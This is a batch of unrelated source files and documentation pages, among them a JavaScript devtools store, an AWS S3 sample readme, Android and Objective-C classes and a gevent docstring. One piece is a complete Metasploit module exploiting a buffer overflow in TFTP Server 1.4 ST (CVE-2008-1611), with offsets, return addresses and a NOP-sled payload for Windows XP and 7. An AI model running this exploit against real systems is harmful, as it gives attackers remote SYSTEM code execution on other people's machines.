    this.bridge.send('stop-inspecting-component', { componentId: this.selectedNodeId, path });
  }

  changeValue({ path, value }) {
    this.bridge.send('change-value', { componentId: this.selectedNodeId, path, value });
  }

  showContextMenu(type, evt, ...args) {
    evt.preventDefault();
    this.contextMenu = {
      x: evt.clientX,
      y: evt.clientY,
      items: this.getContextMenuActions(type, args),
      close: () => {
        this.hideContextMenu();
      },
    };
    this.emit('contextMenu');
  }

  hideContextMenu() {
    this.contextMenu = undefined;
    this.emit('contextMenu');
  }

  pickComponent() {
    this.pickingComponent = true;
    this.emit('pickingComponent');
    this.bridge.send('pick-component');
  }

  stopPickingComponent() {
    this.pickingComponent = false;
    this.emit('pickingComponent');
    this.bridge.send('stop-picking-component');
  }

  collapse(id) {
    if (!this.nodesById[id].collapsed) {
      this.nodesById[id].collapsed = true;
      this.emit(id);
    }
  }

  uncollapse(id) {
    if (this.nodesById[id].collapsed) {
      this.nodesById[id].collapsed = false;
      this.emit(id);
    }
  }

  uncollapseParents(id) {
    if (this.searchRoots && this.searchRoots.includes(id)) {
      return;
    }
    let pid = this.nodeParentsById[id];
    while (pid) {
      this.uncollapse(pid);
      if (this.searchRoots && this.searchRoots.includes(pid)) {
        return;
      }
      pid = this.nodeParentsById[pid];
    }
  }

  getContextMenuActions(type, args) {
    switch (type) {
      case 'tree': {
        const [id, node] = args;
        const items = [];
        if (node.name) {
          items.push({
            key: 'showNodesOfType',
            title: `Show all ${node.name}`,
            action: () => {
              this.changeSearch(node.name);
              this.hideContextMenu();
            },
          });
        }
        items.push({
          key: 'scrollToNode',
          title: 'Scroll to node',
          action: () => {
            this.bridge.send('scrollToNode', { id });
            this.hideContextMenu();
          },
        });
        return items;
      }
      case 'attr': {
        const [id, node, val, path, name] = args; // eslint-disable-line no-unused-vars
        return [
          {
            key: 'storeAsGlobal',
            title: 'Store as global variable',
            action: () => {
              this.bridge.send('makeGlobal', { id, path });
              this.hideContextMenu();
            },
          },
        ];
      }
      default:
        return [];
    }
  }
}


text:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Readme: AWS SDK for Java - Amazon S3 Sample</title>

Amazon S3 Transfer Progress Sample

This is a sample that demonstrates how to track transfer progress for uploads to Amazon S3 using the AWS SDK for Java.

Prerequisites

You must have a valid Amazon Web Services developer account.

Requires the AWS SDK for Java. For more information on the AWS SDK for Java, see http://aws.amazon.com/sdkforjava.

You must be signed up to use Amazon S3. For more information on Amazon S3, see http://aws.amazon.com/s3.

Running the Sample

The basic steps for running the Amazon S3 sample are:

Open the AwsCredentials.properties       in the sample folder.

Locate the following       section and fill in your Access Key ID and Secret Access Key:

         # Fill in your AWS Access Key ID and Secret Access Key

       # http://aws.amazon.com/security-credentials

       accessKey =

       secretKey =

Save the file.

Run the S3TransferProgressSample.java file, located in the same directory as the properties file. The sample prints information to the standard output.

NOTE: The sample also includes an  Ant build.xml file to run the sample.

See the Amazon S3 Getting Started Guide for step-by-step instructions on running this sample.


text:
<!DOCTYPE html>

    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <title>Method CreateLink
   </title>
    <meta name="viewport" content="width=device-width">
    <meta name="title" content="Method CreateLink
   ">
    <meta name="generator" content="docfx 2.52.0.0">

    <link rel="shortcut icon" href="../favicon.ico">
    <link rel="stylesheet" href="../styles/docfx.vendor.css">
    <link rel="stylesheet" href="../styles/docfx.css">
    <link rel="stylesheet" href="../styles/main.css">
    <meta property="docfx:navrel" content="../toc.html">
    <meta property="docfx:tocrel" content="toc.html">

              <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#navbar">
                Toggle navigation

              </button>

              <form class="navbar-form navbar-right" role="search" id="search">

                  <input type="text" class="form-control" id="search-query" placeholder="Search" autocomplete="off">

              </form>

          Show / Hide Table of Contents

Method CreateLink

  |
  <a href="https://github.com/Cataurus/TumblrSharp/new/master/apiSpec/new?filename=DontPanic_TumblrSharp_PostData_CreateLink_System_String_System_String_System_String_System_Collections_Generic_IEnumerable_System_String__DontPanic_TumblrSharp_PostCreationState_.md&value=---%0Auid%3A%20DontPanic.TumblrSharp.PostData.CreateLink(System.String%2CSystem.String%2CSystem.String%2CSystem.Collections.Generic.IEnumerable%7BSystem.String%7D%2CDontPanic.TumblrSharp.PostCreationState)%0Asummary%3A%20'*You%20can%20override%20summary%20for%20the%20API%20here%20using%20*MARKDOWN*%20syntax'%0A---%0A%0A*Please%20type%20below%20more%20information%20about%20this%20API%3A*%0A%0A">Improve this Doc

  View Source

CreateLink(String, String, String, IEnumerable<String>, PostCreationState)

Creates the PostData for a link post.

Declaration

public static PostData CreateLink(string url, string title = null, string description = null, IEnumerable<string> tags = null, PostCreationState state = PostCreationState.Published)

Parameters

      Type
      Name
      Description

      System.String
      url

The url for the link.

      System.String
      title

The display text for the link.

      System.String
      description

The link's description.

      System.Collections.Generic.IEnumerable<System.String>
      tags

The tags to associate with the post.

      PostCreationState
      state

The PostCreationState of the post.

Returns

      Type
      Description

      PostData

A PostData instance representing the post.

Exceptions

      Type
      Condition

      System.ArgumentNullException

url is null.

      System.ArgumentException

url is empty.

                    Improve this Doc

                    View Source

              Back to top

            Generated by DocFX


text:
/*
* Programação de Computadores e Algoritmos
* Trabalho 4
* lista1.4.c
*
* Equipe:
*
*  Juliany Raiol
*  Lucas Botinelly
*  Luiz Fernando
*  Richardson
*/

#include <stdio.h>
#include <stdlib.h>
#include "preencher.h"

int main( int argc, const char *argv[] )
{

	float **matrx; /* Declarando matrx como um ponteiro para ponteiro */
	int i, j;

	/* Alocação de vetor de ponteiros onde cada posição aponta para outro vetor */

	matrx = ( float** ) malloc( sizeof( float * ) * 50 ); /* Alocando colunas da matriz na memória */
	for( i = 0; i < 50; i++ )
		matrx[ i ] = ( float * ) malloc( sizeof( float ) * 50 ); /* Alocando linhas da matriz na memória */

	preencher( matrx, 50, 50 );
	print(matrx,50, 50);

	for( i = 0; i < 50; i++ )
		free( matrx[ i ] ); /* Liberando o espaço de memória alocado */
	return 0;
}


text:
@interface TableViewController : NSObject <NSTableViewDataSource>

- (id) initWithArrays: (NSMutableArray*)firstColumnArray: (NSMutableArray*)secondColumnArray;
- (void) insertRow: (NSString*)firstColumn: (NSString*)secondColumn;
@property (nonatomic, strong) NSMutableArray* column1;
@property (nonatomic, strong) NSMutableArray* column2;

@end


text:
"""
This module implements a spiking neural network.
Neurons are based on the model described by:

Izhikevich, E. M.
Simple Model of Spiking Neurons
IEEE TRANSACTIONS ON NEURAL NETWORKS, VOL. 14, NO. 6, NOVEMBER 2003
"""

from iznn_cpp import *
from .network import *


text:
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	Rank = NormalRanking
	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name'            => 'TFTP Server for Windows 1.4 ST WRQ Buffer Overflow',
			'Description'     => %q{
					This module exploits a vulnerability found in TFTP Server 1.4 ST.  The flaw
				is due to the way TFTP handles the filename parameter extracted from a WRQ request.
				The server will append the user-supplied filename to TFTP server binary's path
				without any bounds checking, and then attempt to open this with a fopen(). Since
				this isn't a valid file path, fopen() returns null, which allows the corrupted
				data to be used in a strcmp() function, causing an access violation.

				Since the offset is sensitive to how the TFTP server is launched, you must know
				in advance if your victim machine launched the TFTP as a 'Service' or 'Standalone'
				, and then manually select your target accordingly. A successful attempt will lead
				to remote code execution under the context of SYSTEM if run as a service, or
				the user if run as a standalone. A failed attempt will result a denial-of-service.
			},
			'Author'          =>
				[
					'Mati Aharoni', #Initial discovery, PoC
					'Datacut'       #Metasploit
				],
			'References'      =>
				[
					[ 'CVE', '2008-1611' ],
					[ 'OSVDB', '43785' ],
					[ 'BID', '18345' ],
					[ 'EDB', '5314' ]
				],
			'DefaultOptions'  =>
				{
					'EXITFUNC' =>'seh',
				},
			'Payload'         =>
				{
					'Space'           => 600,
					'BadChars'        => "\x00\x2f",
					'StackAdjustment' => -3500
				},
			'Platform'        => 'win',
			'Targets'         =>
				[
					# datacut tested ok 19/04/12 on xp sp2 sp3, win 7 sp0 sp1.
					# possible may work for other service packs and or vista
					# Rets = P/P/R from tftpserversp.exe
					[ 'Windows XP SP2/SP3 EN Service Mode',       { 'Ret' => 0x416801 , 'Offset' => 1203} ],
					[ 'Windows XP SP2/SP3 EN Standalone Mode',    { 'Ret' => 0x416801 , 'Offset' => 1487} ],
					[ 'Windows 7 SP0/SP1 EN x64 Service Mode',    { 'Ret' => 0x416801 , 'Offset' => 1217} ],
					[ 'Windows 7 SP0/SP1 EN x64 Standalone Mode', { 'Ret' => 0x416801 , 'Offset' => 1501} ],
					[ 'Windows 7 SP0/SP1 EN x86 Service Mode',    { 'Ret' => 0x416801 , 'Offset' => 1223} ],
					[ 'Windows 7 SP0/SP1 EN x86 Standalone Mode', { 'Ret' => 0x416801 , 'Offset' => 1507} ]
				],
			'Privileged'	=> false,
			'DisclosureDate'=> 'Mar 26 2008',
			'DefaultTarget' => 4))  #TFTP is installed as a service

		register_options(
			[
				Opt::RPORT(69)
			], self.class)
	end

	def exploit
		connect_udp

		nops = make_nops(50)
		lead = rand_text_alphanumeric(target['Offset'] - payload.encoded.length - nops.length)
		near = "\xe9\x80\xfd\xff\xff"    #jump back 640 bytes to the nop sled
		nseh = "\xeb\xf9" + make_nops(2) #jump back 7 bytes to the long jump

		evil = lead + nops + payload.encoded + near + nseh + [target.ret].pack('V')
		mode = "netascii"

		#Send the WRQ packet (header "\x00\x02")
		sploit = "\x00\x02" + evil + "\0" + mode +"\0"

		udp_sock.put(sploit)

		handler
		disconnect_udp
	end

end


text:
"use strict"

$(() => {
    $('.carousel.carousel-slider').carousel({full_width: true});
    let getImage = require('./firebase.js')["getImage"];
    let itemImagesRef = require('./firebase.js')["itemImagesRef"];
    let itemsRef = require('./firebase.js')["itemsRef"];
    let getItemsById = require('./firebase.js')["getItemsById"];
    let getUserInfo = require('./firebase.js')['getUserInfo'];
    let getProfilePicture = require('./firebase.js')['getProfilePicture'];
    let auth = require('./firebase.js')['auth'];
    let getUserInfoProper = require('./firebase.js')['getUserInfoProper'];
    let itemId;

    const showItemBasedOnHash = (item) => {
        let numbers = ['One', 'Two', 'Three', 'Four'];
        if (location.hash.length > 0) {
            for (let i = 0; i < 4; i += 1) {
                getImage(item.id + `/image${numbers[i]}`, (url) => {
                    if (url) {
                        $(`#image-${i + 1}`).attr({src: url});
                    } else {
                        // TODO this doesnt actually do anything...
                        $(`#image-${i + 1}`).remove();
                    }

                });
            }

            $('#item-title').html(item.title);
            $('#item-description').html(item.description);
            $('#item-price').html('$' + item.price);
            $('#item-tags').html('Tags: ' + item.tags.join(', '));

        }
    };

    const setProfileImageURL = (user) => {
        Promise.resolve(getProfilePicture(user)).then((url) => {
            $('#seller-profile-picture').attr('src', url);
        });
    };

    const postUser = (user) => {
        setProfileImageURL(user.uid)
        $('#seller-username').html(user['firstName']);
        let userRating = user.userRating;
        if (userRating < 0) {
            for (let star = 1; star <= 5; star += 1) {
                $(`#star-${star}`).html('remove');
                $('#star-5').tooltip({tooltip: 'not yet rated'});
            }
            return;
        }
        let flooredRating = Math.floor(userRating);
        for (let star = 1; star <= flooredRating; star += 1) {
            $(`#star-${star}`).html('star_rating');
        }
        $('#star-5').tooltip({tooltip: userRating});
        if (userRating % 1 > 0.7) {
            $(`#star-${flooredRating + 1}`).html('star_rating');
        } else if (userRating % 1 > 0.3) {
            $(`#star-${flooredRating + 1}`).html('star_half');
        }
    };

    const loadListing = () => {
        let id = location.hash.split("=")[1];
        let item;
        Promise.resolve(getItemsById([id]))
        .then((itemsObject) => {
            item = itemsObject[id];
            return item;
        })
        .then((item) => {
            showItemBasedOnHash(item);
            getUserInfo(item.uid, postUser);
            addViewCount(item, auth.currentUser.uid);
        })
    };

    const addViewCount = (item, currentUserId) => {
        if(currentUserId !== item.uid) {
            let viewCount = item.views || 1;
            // TODO possibly change this from a set to something else
            itemsRef.child(item.id).child('views').set(viewCount + 1);
        }
    };

    if (window.location.pathname === "/items/item.html") {
        loadListing();
    }

});


text:
namespace AngleSharp.Css.Values
{
    using AngleSharp.Css.Dom;
    using AngleSharp.Text;
    using System;

    /// <summary>
    /// Represents a CSS font definition.
    /// </summary>
    sealed class CssFontValue : ICssCompositeValue
    {
        #region Fields

        private readonly ICssValue _fontFamilies;
        private readonly ICssValue _lineHeight;
        private readonly ICssValue _size;
        private readonly ICssValue _stretch;
        private readonly ICssValue _style;
        private readonly ICssValue _variant;
        private readonly ICssValue _weight;

        #endregion

        #region ctor

        /// <summary>
        /// Creates a new CSS font definition.
        /// </summary>
        /// <param name="style">The set style value.</param>
        /// <param name="variant">The set variant value.</param>
        /// <param name="weight">The set weight value.</param>
        /// <param name="stretch">The set stretch value.</param>
        /// <param name="size">The set size value.</param>
        /// <param name="lineHeight">The set line height value.</param>
        /// <param name="fontFamilies">The set families value.</param>
        public CssFontValue(ICssValue style, ICssValue variant, ICssValue weight, ICssValue stretch, ICssValue size, ICssValue lineHeight, ICssValue fontFamilies)
        {
            _style = style;
            _variant = variant;
            _weight = weight;
            _stretch = stretch;
            _size = size;
            _lineHeight = lineHeight;
            _fontFamilies = fontFamilies;
        }

        #endregion

        #region Properties

        /// <summary>
        /// Gets the families value.
        /// </summary>
        public ICssValue FontFamilies => _fontFamilies;

        /// <summary>
        /// Gets the line height value.
        /// </summary>
        public ICssValue LineHeight => _lineHeight;

        /// <summary>
        /// Gets the size value.
        /// </summary>
        public ICssValue Size => _size;

        /// <summary>
        /// Gets the stretch value.
        /// </summary>
        public ICssValue Stretch => _stretch;

        /// <summary>
        /// Gets the style value.
        /// </summary>
        public ICssValue Style => _style;

        /// <summary>
        /// Gets the variant value.
        /// </summary>
        public ICssValue Variant => _variant;

        /// <summary>
        /// Gets the weight value.
        /// </summary>
        public ICssValue Weight => _weight;

        /// <summary>
        /// Gets the CSS text representation.
        /// </summary>
        public String CssText
        {
            get
            {
                var sb = StringBuilderPool.Obtain();

                if (_style != null)
                {
                    if (sb.Length > 0) sb.Append(Symbols.Space);
                    sb.Append(_style.CssText);
                }

                if (_variant != null)
                {
                    if (sb.Length > 0) sb.Append(Symbols.Space);
                    sb.Append(_variant.CssText);
                }

                if (_weight != null)
                {
                    if (sb.Length > 0) sb.Append(Symbols.Space);
                    sb.Append(_weight.CssText);
                }

                if (_stretch != null)
                {
                    if (sb.Length > 0) sb.Append(Symbols.Space);
                    sb.Append(_stretch.CssText);
                }

                if (_size != null)
                {
                    if (sb.Length > 0) sb.Append(Symbols.Space);
                    sb.Append(_size.CssText);
                }

                if (_lineHeight != null)
                {
                    sb.Append(" / ");
                    sb.Append(_lineHeight.CssText);
                }

                if (sb.Length > 0) sb.Append(Symbols.Space);
                sb.Append(_fontFamilies.CssText);
                return sb.ToPool();
            }
        }

        #endregion
    }
}


text:
package org.apache.spark.streaming.receivers

import scala.reflect.ClassTag

import akka.actor.Actor
import akka.util.ByteString
import akka.zeromq._

import org.apache.spark.Logging

/**
 * A receiver to subscribe to ZeroMQ stream.
 */
private[streaming] class ZeroMQReceiver[T: ClassTag](publisherUrl: String,
  subscribe: Subscribe,
  bytesToObjects: Seq[ByteString] ⇒ Iterator[T])
  extends Actor with Receiver with Logging {

  override def preStart() = ZeroMQExtension(context.system).newSocket(SocketType.Sub, Listener(self),
    Connect(publisherUrl), subscribe)

  def receive: Receive = {

    case Connecting ⇒ logInfo("connecting ...")

    case m: ZMQMessage ⇒
      logDebug("Received message for:" + m.frame(0))

      //We ignore first frame for processing as it is the topic
      val bytes = m.frames.tail
      pushBlock(bytesToObjects(bytes))

    case Closed ⇒ logInfo("received closed ")

  }
}


text:
const defaultState = {
    careers: [],                // the array of all careers you can choose from
    careersAreLoading: false,   // whether or not the careers are still loading
    careersLoadError: false     // whether or not there was an error loading the careers
};

/**
 * @author JXNS
 * The careers reducer handles the initial loading of all the possible careers
 * into the application, these careers have id's that are later used to link to
 * the more detailed career data.
 */
const Careers = (state = defaultState, action) => {
    switch(action.type) {
        case "FETCH_CAREERS_PENDING":
            return {
                ...state,
                careersAreLoading: true,
                careersLoadError: false
            };

        case "FETCH_CAREERS_FULFILLED":
            return {
                ...state,
                careers: action.payload,
                careersAreLoading: false
            };

        case "FETCH_CAREERS_REJECTED":
            return {
                ...state,
                careers: [],
                careersAreLoading: false,
                careersLoadError: true
            };

        default:
            return state;
    }
};

export default Careers;


text:
@implementation LCSCommand
@synthesize state;
@synthesize exitState;
@synthesize title;
@synthesize progress;
@synthesize progressMessage;
@synthesize progressAnimate;
@synthesize progressIndeterminate;
@synthesize cancellable;
@synthesize result;
@synthesize error;

NSString *LCSCommandStateName[LCSCommandStateCount] = {
    @"Init",
    @"Starting",
    @"Running",
    @"Finished",
    @"Failed",
    @"Cancelling",
    @"Cancelled",
    @"Invalidated"
};

-(void)dealloc
{
    [title release];
    [progressMessage release];
    [result release];
    [error release];
    [super dealloc];
}

-(BOOL)validateNextState:(LCSCommandState)newState
{
    static LCSCommandState statematrix[LCSCommandStateCount][LCSCommandStateCount] = {
        //in, sig, run, fin, fld, cig, ced, inv
        { NO, YES,  NO,  NO, YES,  NO,  NO,  NO },   // LCSCommandStateInit
        { NO,  NO, YES,  NO, YES,  NO,  NO,  NO },   // LCSCommandStateStarting
        { NO,  NO,  NO, YES, YES, YES,  NO,  NO },   // LCSCommandStateRunning
        { NO,  NO,  NO,  NO,  NO,  NO,  NO, YES },   // LCSCommandStateFinished
        { NO,  NO,  NO,  NO,  NO,  NO,  NO, YES },   // LCSCommandStateFailed
        { NO,  NO,  NO,  NO, YES,  NO, YES,  NO },   // LCSCommandStateCancelling
        { NO,  NO,  NO,  NO,  NO,  NO,  NO, YES },   // LCSCommandStateCancelled
        { NO,  NO,  NO,  NO,  NO,  NO,  NO,  NO }    // LCSCommandStateInvalidated
    };

    if (newState < 0 || newState > LCSCommandStateInvalidated) {
        return NO;
    }
    else {
        return statematrix[state][newState];
    }
}

-(void)setState:(LCSCommandState)newState
{
    BOOL validState = [self validateNextState:newState];
    if (!validState) {
        if (newState < 0 || newState > LCSCommandStateInvalidated) {
            @throw [NSException exceptionWithName:NSInternalInconsistencyException
                                            reason:@"Attempt to set state to an invalid value"
                                         userInfo:nil];
        }
        else {
            @throw [NSException exceptionWithName:NSInternalInconsistencyException
                                           reason:[NSString stringWithFormat:
                                                   @"Attempt invalid state transition from %@ (%d) to %@ (%d)",
                                                   LCSCommandStateName[state], state, LCSCommandStateName[newState],
                                                   newState]
                                         userInfo:nil];
        }
    }

    LCSCommandState oldState = state;
    if (newState == LCSCommandStateInvalidated) {
        exitState = state;
    }

    state = newState;

    self.cancellable = [self validateNextState:LCSCommandStateCancelling];

    switch (state) {
        case LCSCommandStateStarting:
        case LCSCommandStateRunning:
        case LCSCommandStateCancelling:
            self.progressAnimate = YES;
            break;
        default:
            self.progressAnimate = NO;
            break;
    }

    [[NSNotificationCenter defaultCenter]
     postNotificationName:[[self class] notificationNameStateLeft:oldState] object:self];
    [[NSNotificationCenter defaultCenter]
     postNotificationName:[[self class] notificationNameStateTransfered:oldState toState:newState] object:self];
    [[NSNotificationCenter defaultCenter]
     postNotificationName:[[self class] notificationNameStateEntered:newState] object:self];
    [[NSNotificationCenter defaultCenter]
     postNotificationName:[[self class] notificationNameStateChanged] object:self];
}

-(void)start
{
    if ([self validateNextState:LCSCommandStateStarting]) {
        self.progressIndeterminate = YES;
        self.progressMessage = @"Starting";
        self.state = LCSCommandStateStarting;
        [self performStart];
    }
}

-(void)cancel
{
    if ([self validateNextState:LCSCommandStateCancelling]) {
        self.progressIndeterminate = YES;
        self.progressMessage = @"Cancelling";
        self.state = LCSCommandStateCancelling;
        [self performCancel];
    }
}

-(void)performStart
{
    @throw [NSException exceptionWithName:NSInternalInconsistencyException
                                   reason:@"[LCSCommand start] is a pure virtual method. You have to override it in a subclass"
                                 userInfo:nil];
}

-(void)performCancel
{
}

+(NSString*)notificationNameStateLeft:(LCSCommandState)oldState
{
    return [NSString stringWithFormat:@"LCSCommandLeftState-%d", oldState];
}

+(NSString*)notificationNameStateTransfered:(LCSCommandState)oldState toState:(LCSCommandState)newState
{
    return [NSString stringWithFormat:@"LCSCommandTransfered-%d-%d", oldState, newState];
}

+(NSString*)notificationNameStateEntered:(LCSCommandState)newState
{
    return [NSString stringWithFormat:@"LCSCommandEnteredState-%d", newState];
}

+(NSString*)notificationNameStateChanged
{
    return @"LCSCommandStateChanged";
}

@end

@implementation LCSCommand (RunLoopHelpers)

-(void)stopRunLoopNow
{
    CFRunLoopStop([[NSRunLoop currentRunLoop] getCFRunLoop]);
}

-(void)stopScheduleRunLoopStop
{
    [[NSRunLoop currentRunLoop] performSelector:@selector(stopRunLoopNow)
                                         target:self
                                       argument:nil
                                          order:NSUIntegerMax
                                          modes:[NSArray arrayWithObject:NSDefaultRunLoopMode]];
}

-(void)waitUntilDone
{
    [[NSNotificationCenter defaultCenter] addObserver:self
                                             selector:@selector(stopRunLoopNow)
                                                 name:[[self class] notificationNameStateEntered:LCSCommandStateInvalidated]
                                               object:self];

    while (state != LCSCommandStateInvalidated) {
        [[NSRunLoop currentRunLoop] runMode:NSDefaultRunLoopMode beforeDate:[NSDate distantFuture]];
    }

    [[NSNotificationCenter defaultCenter] removeObserver:self
                                                    name:[[self class] notificationNameStateEntered:LCSCommandStateInvalidated]
                                                  object:self];
}
@end


text:
<?php

namespace Bravesheep\CrudifyBundle\Fixtures\Controller;

use Bravesheep\CrudifyBundle\Controller\BaseController;

class ExtendedController extends BaseController
{

}


text:
from .models import Configuration

config = Configuration.get_solo()


text:
package com.android.systemui.recents.views;

import android.animation.Animator;
import android.animation.AnimatorListenerAdapter;
import android.animation.ObjectAnimator;
import android.content.Context;
import android.util.FloatProperty;
import android.util.Log;
import android.util.MutableFloat;
import android.util.Property;
import android.view.ViewDebug;
import android.widget.OverScroller;

import com.android.systemui.Interpolators;
import com.android.systemui.R;
import com.android.systemui.recents.misc.Utilities;

import java.io.PrintWriter;

/* The scrolling logic for a TaskStackView */
public class TaskStackViewScroller {

    private static final String TAG = "TaskStackViewScroller";
    private static final boolean DEBUG = false;

    public interface TaskStackViewScrollerCallbacks {
        void onStackScrollChanged(float prevScroll, float curScroll, AnimationProps animation);
    }

    /**
     * A Property wrapper around the stackScroll functionality handled by the
     * {@link #setStackScroll(float)} and
     * {@link #getStackScroll()} methods.
     */
    private static final Property<TaskStackViewScroller, Float> STACK_SCROLL =
            new FloatProperty<TaskStackViewScroller>("stackScroll") {
                @Override
                public void setValue(TaskStackViewScroller object, float value) {
                    object.setStackScroll(value);
                }

                @Override
                public Float get(TaskStackViewScroller object) {
                    return object.getStackScroll();
                }
            };

    Context mContext;
    TaskStackLayoutAlgorithm mLayoutAlgorithm;
    TaskStackViewScrollerCallbacks mCb;

    @ViewDebug.ExportedProperty(category="recents")
    float mStackScrollP;
    @ViewDebug.ExportedProperty(category="recents")
    float mLastDeltaP = 0f;
    float mFlingDownScrollP;
    int mFlingDownY;

    OverScroller mScroller;
    ObjectAnimator mScrollAnimator;
    float mFinalAnimatedScroll;

    public TaskStackViewScroller(Context context, TaskStackViewScrollerCallbacks cb,
            TaskStackLayoutAlgorithm layoutAlgorithm) {
        mContext = context;
        mCb = cb;
        mScroller = new OverScroller(context);
        mLayoutAlgorithm = layoutAlgorithm;
    }

    /** Resets the task scroller. */
    void reset() {
        mStackScrollP = 0f;
        mLastDeltaP = 0f;
    }

    void resetDeltaScroll() {
        mLastDeltaP = 0f;
    }

    /** Gets the current stack scroll */
    public float getStackScroll() {
        return mStackScrollP;
    }

    /**
     * Sets the current stack scroll immediately.
     */
    public void setStackScroll(float s) {
        setStackScroll(s, AnimationProps.IMMEDIATE);
    }

    /**
     * Sets the current stack scroll immediately, and returns the difference between the target
     * scroll and the actual scroll after accounting for the effect on the focus state.
     */
    public float setDeltaStackScroll(float downP, float deltaP) {
        float targetScroll = downP + deltaP;
        float newScroll = mLayoutAlgorithm.updateFocusStateOnScroll(downP + mLastDeltaP, targetScroll,
                mStackScrollP);
        setStackScroll(newScroll, AnimationProps.IMMEDIATE);
        mLastDeltaP = deltaP;
        return newScroll - targetScroll;
    }

    /**
     * Sets the current stack scroll, but indicates to the callback the preferred animation to
     * update to this new scroll.
     */
    public void setStackScroll(float newScroll, AnimationProps animation) {
        float prevScroll = mStackScrollP;
        mStackScrollP = newScroll;
        if (mCb != null) {
            mCb.onStackScrollChanged(prevScroll, mStackScrollP, animation);
        }
    }

    /**
     * Sets the current stack scroll to the initial state when you first enter recents.
     * @return whether the stack progress changed.
     */
    public boolean setStackScrollToInitialState() {
        float prevScroll = mStackScrollP;
        setStackScroll(mLayoutAlgorithm.mInitialScrollP);
        return Float.compare(prevScroll, mStackScrollP) != 0;
    }

    /**
     * Starts a fling that is coordinated with the {@link TaskStackViewTouchHandler}.
     */
    public void fling(float downScrollP, int downY, int y, int velY, int minY, int maxY,
            int overscroll) {
        if (DEBUG) {
            Log.d(TAG, "fling: " + downScrollP + ", downY: " + downY + ", y: " + y +
                    ", velY: " + velY + ", minY: " + minY + ", maxY: " + maxY);
        }
        mFlingDownScrollP = downScrollP;
        mFlingDownY = downY;
        mScroller.fling(0, y, 0, velY, 0, 0, minY, maxY, 0, overscroll);
    }

    /** Bounds the current scroll if necessary */
    public boolean boundScroll() {
        float curScroll = getStackScroll();
        float newScroll = getBoundedStackScroll(curScroll);
        if (Float.compare(newScroll, curScroll) != 0) {
            setStackScroll(newScroll);
            return true;
        }
        return false;
    }

    /** Returns the bounded stack scroll */
    float getBoundedStackScroll(float scroll) {
        return Utilities.clamp(scroll, mLayoutAlgorithm.mMinScrollP, mLayoutAlgorithm.mMaxScrollP);
    }

    /** Returns the amount that the absolute value of how much the scroll is out of bounds. */
    float getScrollAmountOutOfBounds(float scroll) {
        if (scroll < mLayoutAlgorithm.mMinScrollP) {
            return Math.abs(scroll - mLayoutAlgorithm.mMinScrollP);
        } else if (scroll > mLayoutAlgorithm.mMaxScrollP) {
            return Math.abs(scroll - mLayoutAlgorithm.mMaxScrollP);
        }
        return 0f;
    }

    /** Returns whether the specified scroll is out of bounds */
    boolean isScrollOutOfBounds() {
        return Float.compare(getScrollAmountOutOfBounds(mStackScrollP), 0f) != 0;
    }

    /** Animates the stack scroll into bounds */
    ObjectAnimator animateBoundScroll() {
        // TODO: Take duration for snap back
        float curScroll = getStackScroll();
        float newScroll = getBoundedStackScroll(curScroll);
        if (Float.compare(newScroll, curScroll) != 0) {
            // Start a new scroll animation
            animateScroll(newScroll, null /* postScrollRunnable */);
        }
        return mScrollAnimator;
    }

    /** Animates the stack scroll */
    void animateScroll(float newScroll, final Runnable postRunnable) {
        int duration = mContext.getResources().getInteger(
                R.integer.recents_animate_task_stack_scroll_duration);
        animateScroll(newScroll, duration, postRunnable);
    }

    /** Animates the stack scroll */
    void animateScroll(float newScroll, int duration, final Runnable postRunnable) {
        // Finish any current scrolling animations
        if (mScrollAnimator != null && mScrollAnimator.isRunning()) {
            setStackScroll(mFinalAnimatedScroll);
            mScroller.forceFinished(true);
        }
        stopScroller();
        stopBoundScrollAnimation();

        if (Float.compare(mStackScrollP, newScroll) != 0) {
            mFinalAnimatedScroll = newScroll;
            mScrollAnimator = ObjectAnimator.ofFloat(this, STACK_SCROLL, getStackScroll(), newScroll);
            mScrollAnimator.setDuration(duration);
            mScrollAnimator.setInterpolator(Interpolators.LINEAR_OUT_SLOW_IN);
            mScrollAnimator.addListener(new AnimatorListenerAdapter() {
                @Override
                public void onAnimationEnd(Animator animation) {
                    if (postRunnable != null) {
                        postRunnable.run();
                    }
                    mScrollAnimator.removeAllListeners();
                }
            });
            mScrollAnimator.start();
        } else {
            if (postRunnable != null) {
                postRunnable.run();
            }
        }
    }

    /** Aborts any current stack scrolls */
    void stopBoundScrollAnimation() {
        Utilities.cancelAnimationWithoutCallbacks(mScrollAnimator);
    }

    /**** OverScroller ****/

    /** Called from the view draw, computes the next scroll. */
    boolean computeScroll() {
        if (mScroller.computeScrollOffset()) {
            float deltaP = mLayoutAlgorithm.getDeltaPForY(mFlingDownY, mScroller.getCurrY());
            mFlingDownScrollP += setDeltaStackScroll(mFlingDownScrollP, deltaP);
            if (DEBUG) {
                Log.d(TAG, "computeScroll: " + (mFlingDownScrollP + deltaP));
            }
            return true;
        }
        return false;
    }

    /** Returns whether the overscroller is scrolling. */
    boolean isScrolling() {
        return !mScroller.isFinished();
    }

    /** Stops the scroller and any current fling. */
    void stopScroller() {
        if (!mScroller.isFinished()) {
            mScroller.abortAnimation();
        }
    }

    public void dump(String prefix, PrintWriter writer) {
        writer.print(prefix); writer.print(TAG);
        writer.print(" stackScroll:"); writer.print(mStackScrollP);
        writer.println();
    }
}


text:
@implementation Dislike

+ (instancetype)insertInManagedObjectContext:(NSManagedObjectContext *)moc_ {
    NSParameterAssert(moc_);
    return [NSEntityDescription insertNewObjectForEntityForName:@"Dislike" inManagedObjectContext:moc_];
}

+ (NSString*)entityName {
    return @"Dislike";
}

+ (NSEntityDescription*)entityInManagedObjectContext:(NSManagedObjectContext*)moc_ {
    NSParameterAssert(moc_);
    return [NSEntityDescription entityForName:@"Dislike" inManagedObjectContext:moc_];
}

@end


text:
"""
Timeouts.

Many functions in :mod:`gevent` have a *timeout* argument that allows
limiting the time the function will block. When that is not available,
the :class:`Timeout` class and :func:`with_timeout` function in this
module add timeouts to arbitrary code.

.. warning::

    Timeouts can only work when the greenlet switches to the hub.
    If a blocking function is called or an intense calculation is ongoing during
    which no switches occur, :class:`Timeout` is powerless.
"""

